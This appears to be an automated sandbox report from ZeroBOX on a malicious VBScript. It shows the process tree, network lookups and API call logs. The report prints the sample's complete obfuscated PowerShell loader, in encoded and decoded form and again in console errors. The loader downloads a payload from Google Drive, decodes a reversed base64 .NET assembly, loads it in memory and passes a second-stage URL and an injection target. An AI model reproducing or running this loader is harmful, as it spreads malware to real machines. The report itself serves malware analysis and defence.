popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

win78MPDW-constraints.vbs

Generic Malware Antivirus Hide_URL PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 23, 2024, 9:06 a.m. Oct. 23, 2024, 9:08 a.m.
Size 136.7KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5 d62f25ced5ad03573d59a9d6fe47faef
SHA256 80bd9d4929c8a9f3909a7a8f143ca4f5d7e14efd477ae19e638c1d4d9e753bdc
CRC32 9AAC9254
ssdeep 3072:qybkgt5pLGwvkSDn+oITr684J88QTgYM0F:40nxICJC8QTFM0F
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\win78MPDW-constraints.vbs

    2536

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYKCAoJ3FPJysnNGltYWdlVXJsID0gaDFTaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgaDFTO3FPNHcnKydlYkNsaWVuJysndCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDJysnbCcrJ2llbnQ7cU80aW1hZ2VCeXRlcyA9IHFPNHdlYkNsaWVudC4nKydEb3dubG9hZERhdGEocU80aW1hJysnZ2VVcmwpO3EnKydPNGltYWdlVGV4dCA9IFtTJysneXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHFPJysnNGltYWdlQnl0ZXMpO3FPJysnNHN0YXJ0RmxhZyA9IGgxUzw8QkFTRTY0X1NUQVJUPj5oMVM7cU80ZW5kRmxhZyA9IGgxUzw8QkFTRTY0X0VORD4+aDFTO3FPNHN0YXJ0SW5kZXggPSBxTzRpbWFnZVRlJysneHQuSW5kZXhPZihxTzRzdGFydEZsYWcpO3FPNGVuZEluZGV4ID0gcU80aW1hZ2VUZXh0LkluZGV4T2YocU80ZW5kRmxhZyk7cU80cycrJ3RhcnRJbmRleCAtZ2UgMCAtYW5kIHFPNGVuZEluZGV4IC1ndCBxTzRzdGFydEluZCcrJ2V4O3FPNHN0YXJ0SW5kZXggKz0gcU80c3RhcnRGbGEnKydnLkxlbmd0aDtxTzRiYXNlNjRMZW5ndGggPSBxTzRlbmRJbmRleCAtIHFPNHN0YXJ0SW5kZXg7cU80YmFzZTY0Q29tbWFuZCA9IHFPNGltYWdlVGV4dC5TdWJzdCcrJ3JpbmcocU80c3RhcnRJbmRleCwgcU80YmFzZTY0TGVuZ3RoJysnKTtxTzRiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChxTzRiYXNlNjRDb21tYW5kLlRvJysnQ2hhckFycmF5KCkgS3lJIEZvckVhY2gtT2JqZWN0IHsgcU80XyB9KScrJ1stMS4uLShxTzRiYXNlNjRDb21tYW5kLkxlbmd0aCldO3FPNGNvbW1hbmRCeXRlcyA9IFtTeXN0ZScrJ20uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocU80YmFzZTY0UmV2ZXJzZWQpO3FPNGxvYWRlZEEnKydzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChxTzRjb21tYW5kQnl0ZXMpO3FPNHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaDFTVkFJaDFTKTtxTzR2YWlNZXRob2QuSW52b2tlKHFPNG51bGwsIEAoaDFTdHh0LjQ0NDZlc2FiYmJiYmInKydiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGhoMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxU2Rlc2F0aXZhJysnZG9oMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxJysnU0FkZEluUHJvY2VzczMyaDFTLCBoMVMnKydkZXNhdGl2YWRvaDFTLCBoMVNkZXNhdGl2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVNkZXNhdGknKyd2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVMxaDFTLGgxU2Rlc2F0aXZhZG9oMVMpKTsnKS5yZVBsQWNFKChbQ2hhUl0xMTMrW0NoYVJdNzkrW0NoYVJdNTIpLCckJykucmVQbEFjRSgoW0NoYVJdNzUrW0NoYVJdMTIxK1tDaGFSXTczKSxbc3RyaU5nXVtDaGFSXTEyNCkucmVQbEFjRSgoW0NoYVJdMTA0K1tDaGFSXTQ5K1tDaGFSXTgzKSxbc3RyaU5nXVtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

      2616

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX( ('qO'+'4imageUrl = h1Shttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur h1S;qO4w'+'ebClien'+'t = New-Object System.Net.WebC'+'l'+'ient;qO4imageBytes = qO4webClient.'+'DownloadData(qO4ima'+'geUrl);q'+'O4imageText = [S'+'ystem.Text.Encoding]::UTF8.GetString(qO'+'4imageBytes);qO'+'4startFlag = h1S<<BASE64_START>>h1S;qO4endFlag = h1S<<BASE64_END>>h1S;qO4startIndex = qO4imageTe'+'xt.IndexOf(qO4startFlag);qO4endIndex = qO4imageText.IndexOf(qO4endFlag);qO4s'+'tartIndex -ge 0 -and qO4endIndex -gt qO4startInd'+'ex;qO4startIndex += qO4startFla'+'g.Length;qO4base64Length = qO4endIndex - qO4startIndex;qO4base64Command = qO4imageText.Subst'+'ring(qO4startIndex, qO4base64Length'+');qO4base64Reversed = -join (qO4base64Command.To'+'CharArray() KyI ForEach-Object { qO4_ })'+'[-1..-(qO4base64Command.Length)];qO4commandBytes = [Syste'+'m.Convert]::FromBase64String(qO4base64Reversed);qO4loadedA'+'ssembly = [System.Reflection.Assembly]::Load(qO4commandBytes);qO4vaiMethod = [dnlib.IO.Home].GetMethod(h1SVAIh1S);qO4vaiMethod.Invoke(qO4null, @(h1Stxt.4446esabbbbbb'+'bbbbewmadam/431.871.64.891//:ptthh1S, h1Sdesativadoh1S, h1Sdesativa'+'doh1S, h1Sdesativadoh1S, h1'+'SAddInProcess32h1S, h1S'+'desativadoh1S, h1Sdesativadoh1S,h1Sdesativadoh1S,h1Sdesativadoh1S,h1Sdesati'+'vadoh1S,h1Sdesativadoh1S,h1Sdesativadoh1S,h1S1h1S,h1Sdesativadoh1S));').rePlAcE(([ChaR]113+[ChaR]79+[ChaR]52),'$').rePlAcE(([ChaR]75+[ChaR]121+[ChaR]73),[striNg][ChaR]124).rePlAcE(([ChaR]104+[ChaR]49+[ChaR]83),[striNg][ChaR]39) )"

        2756

Name Response Post-Analysis Lookup
drive.google.com 142.250.76.142
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The remote name could n
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'drive.google.com'"
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:179
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sU
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: OybnH-sDvUhBYwur ';$webClient = New-Object System.Net.WebClient;$imageBytes = $
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::UT
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: F8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.Inde
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: xOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imag
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: eText.Substring($startIndex, $base64Length);$base64Reversed = -join ($base64Com
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: mand.ToCharArray() | ForEach-Object { $_ })[-1..-($base64Command.Length)];$comm
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: andBytes = [System.Convert]::FromBase64String($base64Reversed);$loadedAssembly
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: = [System.Reflection.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: ].GetMethod('VAI');$vaiMethod.Invoke($null, @('txt.4446esabbbbbbbbbbewmadam/431
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: .871.64.891//:ptth', 'desativado', 'desativado', 'desativado', 'AddInProcess32'
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: , 'desativado', 'desativado','desativado','desativado','desativado','desativado
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: ','desativado','1','desativado'));
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: At line:1 char:242
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sU
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: OybnH-sDvUhBYwur ';$webClient = New-Object System.Net.WebClient;$imageBytes = $
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.Get
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: String <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.Inde
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: xOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imag
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: eText.Substring($startIndex, $base64Length);$base64Reversed = -join ($base64Com
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: mand.ToCharArray() | ForEach-Object { $_ })[-1..-($base64Command.Length)];$comm
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: andBytes = [System.Convert]::FromBase64String($base64Reversed);$loadedAssembly
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: = [System.Reflection.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: ].GetMethod('VAI');$vaiMethod.Invoke($null, @('txt.4446esabbbbbbbbbbewmadam/431
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: .871.64.891//:ptth', 'desativado', 'desativado', 'desativado', 'AddInProcess32'
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: , 'desativado', 'desativado','desativado','desativado','desativado','desativado
console_handle: 0x000001e7
1 1 0

WriteConsoleW

 buffer: ','desativado','1','desativado'));
console_handle: 0x000001f3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001ff
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x0000020b
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: At line:1 char:348
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sU
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: OybnH-sDvUhBYwur ';$webClient = New-Object System.Net.WebClient;$imageBytes = $
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.Get
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: String($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>'
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: ;$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.Inde
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: xOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imag
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: eText.Substring($startIndex, $base64Length);$base64Reversed = -join ($base64Com
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656dd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657150
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657150
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657150
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657150
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657150
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657150
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656c10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656c10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656c10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006574d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00657610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00656d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006579d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006579d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380a30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380a30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380a30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380a30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380a30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380a30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 1245184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02990000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02622000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02632000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a81000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a82000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02633000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02634000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02635000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02636000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02693000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02695000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
